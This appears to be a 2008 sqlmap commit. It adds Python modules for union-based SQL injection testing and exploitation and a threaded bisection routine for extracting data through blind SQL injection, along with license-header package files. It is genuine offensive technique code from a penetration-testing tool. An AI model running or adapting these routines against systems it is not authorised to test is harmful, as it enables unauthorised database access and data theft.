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Bernardo Damele
2008-10-15 15:38:22 +00:00
commit 8e3eb45510
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25
lib/techniques/__init__.py Normal file
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#!/usr/bin/env python
"""
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

25
lib/techniques/inband/__init__.py Normal file
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#!/usr/bin/env python
"""
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

25
lib/techniques/inband/union/__init__.py Normal file
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#!/usr/bin/env python
"""
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

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lib/techniques/inband/union/test.py Normal file
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#!/usr/bin/env python
"""
$Id: test.py 293 2008-07-28 21:56:52Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.agent import agent
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setUnion
from lib.request.connect import Connect as Request
def __effectiveUnionTest(query, comment):
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns
on the target database table
"""
resultDict = {}
for count in range(0, 50):
if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
query = query[:-len(" FROM DUAL")]
if count:
query += ", NULL"
if kb.dbms == "Oracle":
query += " FROM DUAL"
commentedQuery = agent.postfixQuery(query, comment)
payload = agent.payload(newValue=commentedQuery)
newResult = Request.queryPage(payload)
if not newResult in resultDict.keys():
resultDict[newResult] = (1, commentedQuery)
else:
resultDict[newResult] = (resultDict[newResult][0] + 1, commentedQuery)
if count:
for element in resultDict.values():
if element[0] == 1:
if kb.injPlace == "GET":
value = "%s?%s" % (conf.url, payload)
elif kb.injPlace == "POST":
value = "URL:\t'%s'" % conf.url
value += "\nPOST:\t'%s'\n" % payload
elif kb.injPlace == "Cookie":
value = "URL:\t'%s'" % conf.url
value += "\nCookie:\t'%s'\n" % payload
elif kb.injPlace == "User-Agent":
value = "URL:\t\t'%s'" % conf.url
value += "\nUser-Agent:\t'%s'\n" % payload
return value
return None
def unionTest():
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 3*50 times
"""
logMsg = "testing inband sql injection on parameter "
logMsg += "'%s'" % kb.injParameter
logger.info(logMsg)
value = ""
query = agent.prefixQuery("UNION ALL SELECT NULL")
for comment in ("--", "#", "/*", ";", "%00"):
value = __effectiveUnionTest(query, comment)
if value:
setUnion(comment, value.count("NULL"))
break
if kb.unionCount:
logMsg = "the target url could be affected by an "
logMsg += "inband sql injection vulnerability"
logger.info(logMsg)
else:
warnMsg = "the target url is not affected by an "
warnMsg += "inband sql injection vulnerability"
logger.warn(warnMsg)
return value

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lib/techniques/inband/union/use.py Normal file
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#!/usr/bin/env python
"""
$Id: use.py 293 2008-07-28 21:56:52Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import time
from lib.core.agent import agent
from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.data import temp
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
def __unionPosition(count, expression):
logMsg = "confirming inband sql injection on parameter "
logMsg += "'%s'" % kb.injParameter
logger.info(logMsg)
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, kb.unionCount):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
if len(randQueryUnescaped) > len(expression):
blankCount = len(randQueryUnescaped) - len(expression)
expression = (" " * blankCount) + expression
elif len(randQueryUnescaped) < len(expression):
blankCount = len(expression) - len(randQueryUnescaped)
randQueryUnescaped = (" " * blankCount) + randQueryUnescaped
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition)
payload = agent.payload(newValue=query)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
count += 1
# We have to assure that the randQuery value is not within the
# HTML code of the result page because, for instance, it is there
# when the query is wrong and the back-end DBMS is Microsoft SQL
# server
htmlParsed = htmlParser(resultPage, paths.ERRORS_XML)
if randQuery in resultPage and not htmlParsed:
setUnion(position=exprPosition)
break
if isinstance(kb.unionPosition, int):
logMsg = "the target url is affected by an exploitable "
logMsg += "inband sql injection vulnerability"
logger.info(logMsg)
else:
warnMsg = "the target url is not affected by an exploitable "
warnMsg += "inband sql injection vulnerability, sqlmap will "
warnMsg += "retrieve the expression output through blind sql "
warnMsg += "injection technique"
logger.warn(warnMsg)
return count
def unionUse(expression):
"""
This function tests for an inband SQL injection on the target
url then call its subsidiary function to effectively perform an
inband SQL injection on the affected url
"""
count = 0
origExpr = expression
start = time.time()
if not kb.unionCount:
unionTest()
if not kb.unionCount:
return
# Prepare expression with delimiters
expression = agent.concatQuery(expression)
expression = unescaper.unescape(expression)
# Confirm the inband SQL injection and get the exact column
# position only once
if not isinstance(kb.unionPosition, int):
count = __unionPosition(count, expression)
# Assure that the above function found the exploitable inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
return
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(expression)
payload = agent.payload(newValue=query)
logMsg = "query: %s" % query
logger.info(logMsg)
# Perform the request
resultPage = Request.queryPage(payload, content=True)
count += 1
if temp.start not in resultPage or temp.stop not in resultPage:
return
duration = int(time.time() - start)
logMsg = "performed %d queries in %d seconds" % (count, duration)
logger.info(logMsg)
# Parse the returned page to get the exact inband
# sql injection output
startPosition = resultPage.index(temp.start)
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
value = str(resultPage[startPosition:endPosition])
return value

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lib/techniques/inference/__init__.py Normal file
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#!/usr/bin/env python
"""
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
pass

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lib/techniques/inference/blind.py Normal file
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#!/usr/bin/env python
"""
$Id: blind.py 355M 2008-10-15 00:00:47Z (local) $
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import threading
import time
from lib.core.agent import agent
from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout
from lib.core.common import replaceNewlineTabs
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapValueException
from lib.core.progress import ProgressBar
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def bisection(payload, expression, length=None):
"""
Bisection algorithm that can be used to perform blind SQL injection
on an affected host
"""
if kb.dbmsDetected:
_, _, _, fieldToCast = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCast)
expressionReplaced = expression.replace(fieldToCast, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
else:
expressionUnescaped = unescaper.unescape(expression)
infoMsg = "query: %s" % expressionUnescaped
logger.info(infoMsg)
if length and not isinstance(length, int) and length.isdigit():
length = int(length)
if length == 0:
return 0, ""
showEta = conf.eta and length
numThreads = min(conf.threads, length)
threads = []
if showEta:
progress = ProgressBar(maxValue=length)
progressTime = []
if conf.verbose in ( 1, 2 ) and not showEta:
if isinstance(length, int) and conf.threads > 1:
infoMsg = "starting %d threads" % numThreads
logger.info(infoMsg)
dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * length))
dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
else:
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
queriesCount = [0] # As list to deal with nested scoping rules
def getChar(idx):
maxValue = 127
minValue = 0
while (maxValue - minValue) != 1:
queriesCount[0] += 1
limit = ((maxValue + minValue) / 2)
forgedPayload = payload % (expressionUnescaped, idx, limit)
result = Request.queryPage(forgedPayload)
if result == kb.defaultResult:
minValue = limit
else:
maxValue = limit
if (maxValue - minValue) == 1:
if maxValue == 1:
return None
else:
return chr(minValue + 1)
def etaProgressUpdate(charTime, index):
if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = [None] * length
index = [0] # As list for python nested function scoping
idxlock = threading.Lock()
iolock = threading.Lock()
def downloadThread():
while True:
idxlock.acquire()
if index[0] >= length:
idxlock.release()
return
index[0] += 1
curidx = index[0]
idxlock.release()
charStart = time.time()
val = getChar(curidx)
if val == None:
raise sqlmapValueException, "Failed to get character at index %d (expected %d total)" % (curidx, length)
value[curidx-1] = val
if showEta:
etaProgressUpdate(time.time() - charStart, index[0])
elif conf.verbose in ( 1, 2 ):
s = "".join([c or "_" for c in value])
iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
iolock.release()
# Start the threads
for _ in range(numThreads):
thread = threading.Thread(target=downloadThread)
thread.start()
threads.append(thread)
# And wait for them to all finish
for thread in threads:
thread.join()
assert None not in value
value = "".join(value)
assert index[0] == length
if conf.sessionFile:
dataToSessionFile(replaceNewlineTabs(value))
if conf.verbose in ( 1, 2 ) and not showEta:
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), value))
else:
value = ""
index = 0
while True:
index += 1
charStart = time.time()
val = getChar(index)
if val == None:
break
value += val
if conf.sessionFile:
dataToSessionFile(replaceNewlineTabs(val))
if showEta:
etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in ( 1, 2 ):
dataToStdout(val)
if conf.verbose in ( 1, 2 ) or showEta:
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % value
logger.info(infoMsg)
if conf.sessionFile:
dataToSessionFile("]\n")
return queriesCount[0], value